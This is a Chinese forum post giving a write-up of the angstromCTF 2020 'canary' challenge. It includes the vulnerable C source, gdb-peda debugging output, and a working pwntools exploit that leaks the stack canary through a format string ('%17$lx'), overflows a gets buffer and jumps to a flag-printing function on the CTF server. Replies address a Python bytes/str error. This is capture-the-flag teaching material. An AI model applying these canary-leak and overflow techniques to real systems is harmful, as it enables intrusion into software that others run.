首页
论坛
课程
招聘
[原创]angstromCTF2020-canary 栈溢出+格式化字符串
2020-3-17 19:44 4986

[原创]angstromCTF2020-canary 栈溢出+格式化字符串

2020-3-17 19:44
4986
root@gavin:/home/gavin/angstromCTF2020# checksec ./canary
[*] '/home/gavin/angstromCTF2020/canary'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Canary源码如下:

#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

void flag() {
	system("/bin/cat flag.txt");
}

void wake() {
	puts("Cock-a-doodle-doo! Cock-a-doodle-doo!\n");
	puts("        .-\"-.");
	puts("       / 4 4 \\");
	puts("       \\_ v _/");
	puts("       //   \\\\");
	puts("      ((     ))");
	puts("=======\"\"===\"\"=======");
	puts("         |||");
	puts("         '|'\n");
	puts("Ahhhh, what a beautiful morning on the farm!");
	puts("And my canary woke me up at 5 AM on the dot!\n");
	puts("       _.-^-._    .--.");
	puts("    .-'   _   '-. |__|");
	puts("   /     |_|     \\|  |");
	puts("  /               \\  |");
	puts(" /|     _____     |\\ |");
	puts("  |    |==|==|    |  |");
	puts("  |    |--|--|    |  |");
	puts("  |    |==|==|    |  |");
	puts("^^^^^^^^^^^^^^^^^^^^^^^^\n");
}

void greet() {
	printf("Hi! What's your name? ");
	char name[20];
	gets(name);
	printf("Nice to meet you, ");
	printf(strcat(name, "!\n"));
	printf("Anything else you want to tell me? ");
	char info[50];
	gets(info);
}

int main() {
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);
	gid_t gid = getegid();
	setresgid(gid, gid, gid);
	wake();
	greet();
}

开了NX和canary保护,可以看出源码中在输入姓名的地方有个格式化字符串,在第二次输入的地方有栈溢出;简单介绍一下canary:canary就是在栈的return地址之前的一个固定位置放置一个随机的数值,并且在程序返回之前做一次校验,如果在做栈溢出的时候将canary覆盖了,程序就会在返回之前强行终止

gdb-peda$ r
Starting program: /home/gavin/angstromCTF2020/canary 
Cock-a-doodle-doo! Cock-a-doodle-doo!

        .-"-.
       / 4 4 \
       \_ v _/
       //   \\
      ((     ))
=======""===""=======
         |||
         '|'

Ahhhh, what a beautiful morning on the farm!
And my canary woke me up at 5 AM on the dot!

       _.-^-._    .--.
    .-'   _   '-. |__|
   /     |_|     \|  |
  /               \  |
 /|     _____     |\ |
  |    |==|==|    |  |
  |    |--|--|    |  |
  |    |==|==|    |  |
^^^^^^^^^^^^^^^^^^^^^^^^

Hi! What's your name? %17$lx
Nice to meet you, 4fee7a1a64150c00!
Anything else you want to tell me? AAAABBBBCCCCDDDD
[----------------------------------registers-----------------------------------]
RAX: 0x4fee7a1a64150c00 
RBX: 0x0 
RCX: 0x7ffff7fbc980 --> 0xfbad208b 
RDX: 0x0 
RSI: 0x7ffff7fbca03 --> 0xfbf4d0000000000a 
RDI: 0x7ffff7fbf4d0 --> 0x0 
RBP: 0x7fffffffe470 --> 0x7fffffffe490 --> 0x4009d0 (<__libc_csu_init>: push   r15)
RSP: 0x7fffffffe410 ("%17$lx!\n")
RIP: 0x400945 (<greet+180>:     xor    rax,QWORD PTR fs:0x28)
R8 : 0x7fffffffe430 ("AAAABBBBCCCCDDDD")
R9 : 0x0 
R10: 0x400c60 ("Anything else you want to tell me? ")
R11: 0x246 
R12: 0x4006a0 (<_start>:        xor    ebp,ebp)
R13: 0x7fffffffe570 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x40093b <greet+170>:        call   0x400670 <gets@plt>
   0x400940 <greet+175>:        nop
   0x400941 <greet+176>:        mov    rax,QWORD PTR [rbp-0x8]
=> 0x400945 <greet+180>:        xor    rax,QWORD PTR fs:0x28
   0x40094e <greet+189>:        je     0x400955 <greet+196>
   0x400950 <greet+191>:        call   0x400630 <__stack_chk_fail@plt>
   0x400955 <greet+196>:        leave  
   0x400956 <greet+197>:        ret
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe410 ("%17$lx!\n")
0008| 0x7fffffffe418 --> 0x7ffff7e66000 (<_IO_new_file_overflow+272>:   cli)
0016| 0x7fffffffe420 --> 0x19 
0024| 0x7fffffffe428 --> 0x7ffff7fbd6a0 --> 0xfbad2887 
0032| 0x7fffffffe430 ("AAAABBBBCCCCDDDD")
0040| 0x7fffffffe438 ("CCCCDDDD")
0048| 0x7fffffffe440 --> 0x0 
0056| 0x7fffffffe448 --> 0x7fffffffe470 --> 0x7fffffffe490 --> 0x4009d0 (<__libc_csu_init>:     push   r15)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x0000000000400945 in greet ()
gdb-peda$ x/40x $rsp
0x7fffffffe410: 0x0a21786c24373125      0x00007ffff7e66000
0x7fffffffe420: 0x0000000000000019      0x00007ffff7fbd6a0
0x7fffffffe430: 0x4242424241414141      0x4444444443434343
0x7fffffffe440: 0x0000000000000000      0x00007fffffffe470
0x7fffffffe450: 0x00000000004006a0      0x00007fffffffe570
0x7fffffffe460: 0x0000000000000000      0x4fee7a1a64150c00
0x7fffffffe470: 0x00007fffffffe490      0x00000000004009c9
0x7fffffffe480: 0x00007fffffffe570      0x0000000000000000
0x7fffffffe490: 0x00000000004009d0      0x00007ffff7df91e3
0x7fffffffe4a0: 0x0000000000000000      0x00007fffffffe578
0x7fffffffe4b0: 0x0000000100040000      0x0000000000400957
0x7fffffffe4c0: 0x0000000000000000      0x359bd4f7c7c829d4
0x7fffffffe4d0: 0x00000000004006a0      0x00007fffffffe570
0x7fffffffe4e0: 0x0000000000000000      0x0000000000000000
0x7fffffffe4f0: 0xca642b881d2829d4      0xca643bc8f74629d4
0x7fffffffe500: 0x0000000000000000      0x0000000000000000
0x7fffffffe510: 0x0000000000000000      0x00007fffffffe588
0x7fffffffe520: 0x00007ffff7ffe190      0x00007ffff7fe1131
0x7fffffffe530: 0x0000000000000000      0x0000000000000000
0x7fffffffe540: 0x00000000004006a0      0x00007fffffffe570
gdb-peda$

通过格式化字符串得到了canary的值(注意看rax和栈中的值),执行xor指令后如果rax的值为非零,就证明程序有溢出,这便是canary保护;

gdb-peda$ 
[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x7ffff7fbc980 --> 0xfbad208b 
RDX: 0x0 
RSI: 0x7ffff7fbca03 --> 0xfbf4d0000000000a 
RDI: 0x7ffff7fbf4d0 --> 0x0 
RBP: 0x7fffffffe490 --> 0x4009d0 (<__libc_csu_init>:    push   r15)
RSP: 0x7fffffffe478 --> 0x4009c9 (<main+114>:   mov    eax,0x0)
RIP: 0x400956 (<greet+197>:     ret)
R8 : 0x7fffffffe430 ("AAAABBBBCCCCDDDD")
R9 : 0x0 
R10: 0x400c60 ("Anything else you want to tell me? ")
R11: 0x246 
R12: 0x4006a0 (<_start>:        xor    ebp,ebp)
R13: 0x7fffffffe570 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x40094e <greet+189>:        je     0x400955 <greet+196>
   0x400950 <greet+191>:        call   0x400630 <__stack_chk_fail@plt>
   0x400955 <greet+196>:        leave  
=> 0x400956 <greet+197>:        ret    
   0x400957 <main>:     push   rbp
   0x400958 <main+1>:   mov    rbp,rsp
   0x40095b <main+4>:   sub    rsp,0x10
   0x40095f <main+8>:   mov    rax,QWORD PTR [rip+0x2016ba]        # 0x602020 <stdin@@GLIBC_2.2.5>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe478 --> 0x4009c9 (<main+114>:  mov    eax,0x0)
0008| 0x7fffffffe480 --> 0x7fffffffe570 --> 0x1 
0016| 0x7fffffffe488 --> 0x0 
0024| 0x7fffffffe490 --> 0x4009d0 (<__libc_csu_init>:   push   r15)
0032| 0x7fffffffe498 --> 0x7ffff7df91e3 (<__libc_start_main+243>:       mov    edi,eax)
0040| 0x7fffffffe4a0 --> 0x0 
0048| 0x7fffffffe4a8 --> 0x7fffffffe578 --> 0x7fffffffe7b0 ("/home/gavin/angstromCTF2020/canary")
0056| 0x7fffffffe4b0 --> 0x100040000 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0000000000400956 in greet ()
gdb-peda$ x/10x $rsp
0x7fffffffe478: 0x00000000004009c9      0x00007fffffffe570
0x7fffffffe488: 0x0000000000000000      0x00000000004009d0
0x7fffffffe498: 0x00007ffff7df91e3      0x0000000000000000
0x7fffffffe4a8: 0x00007fffffffe578      0x0000000100040000
0x7fffffffe4b8: 0x0000000000400957      0x0000000000000000
gdb-peda$

leave指令执行完成后,栈中就只剩下return的地址了,由此得出溢出的位置在第73个字节处,为了方便我将栈中所有的位置都覆盖成了canary的值

from pwn import *

#sh=process('./canary')
sh=remote("shell.actf.co",20701)
#context.terminal=["/usr/bin/tmux","split-window","-h"]                             
#gdb.attach(sh)
sh.recvuntil("Hi! What's your name?")
sh.sendline("%17$lx abc")
canary=sh.recvuntil("abc")
canary=int(canary[19:35],16)
payload=p64(canary)*9
payload+=p64(0x400787)
sh.recvuntil("Anything else you want to tell me?")
sh.sendline(payload)
sh.interactive()

执行结果如下

root@gavin:/home/gavin/angstromCTF2020# python3 ./canary.py 
[+] Opening connection to shell.actf.co on port 20701: Done
[*] Switching to interactive mode
 actf{youre_a_canary_killer_>:(}
Segmentation fault
[*] Got EOF while reading in interactive
$ 


[公告]第4届看雪技术峰会2020年10月23日上海浦东喜来登由由大酒店召开!

最后于 2020-3-19 11:06 被pureGavin编辑 ,原因: 信息不全
上传的附件:
收藏
点赞0
打赏
分享
最新回复 (5)
雪    币: 4274
活跃值: 活跃值 (918)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
pureGavin 活跃值 2020-3-17 19:50
2
0
buf = ''
buf += '1'*32
buf += p64(0) * 7
buf += p64(cookie)
buf += p64(0)
这是前辈的shellcode的脚本的一部分,但是如果我写同样的脚本就会有这样的问题
root@gavin:/home/gavin/angstromCTF2020# python3
Python 3.7.5 (default, Nov 20 2019, 09:21:52) 
[GCC 9.2.1 20191008] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> buf="a"*10
>>> buf+=p64(0xdeadbeef)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: can only concatenate str (not "bytes") to str
>>> 
有没有大佬能出来解决一下,难道是因为Python2和Python3之间的区别么??
雪    币: 5
活跃值: 活跃值 (17)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
zzhwaxy 活跃值 2020-3-21 16:13
3
0

buf="a"*10 改成 buf=b"a"*10 就行了

 

你在python3里用python2的语法当然报错了

雪    币: 4274
活跃值: 活跃值 (918)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
pureGavin 活跃值 2020-3-21 18:21
4
0
zzhwaxy buf="a"\*10 改成 buf=**b**"a"\*10 就行了 你在python3里用python2的语法当然报错了
能解释一下这个‘b’的作用么??
雪    币: 5
活跃值: 活跃值 (17)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
zzhwaxy 活跃值 2020-3-21 19:02
5
0
看一下这篇博客  https://blog.csdn.net/qq_16234613/article/details/79448203
最后于 2020-3-21 19:02 被zzhwaxy编辑 ,原因:
雪    币: 4274
活跃值: 活跃值 (918)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
pureGavin 活跃值 2020-3-21 19:24
6
0
zzhwaxy 看一下这篇博客&nbsp;&nbsp;https://blog.csdn.net/qq_16234613/article/details/79448203
感谢
游客
登录 | 注册 方可回帖
返回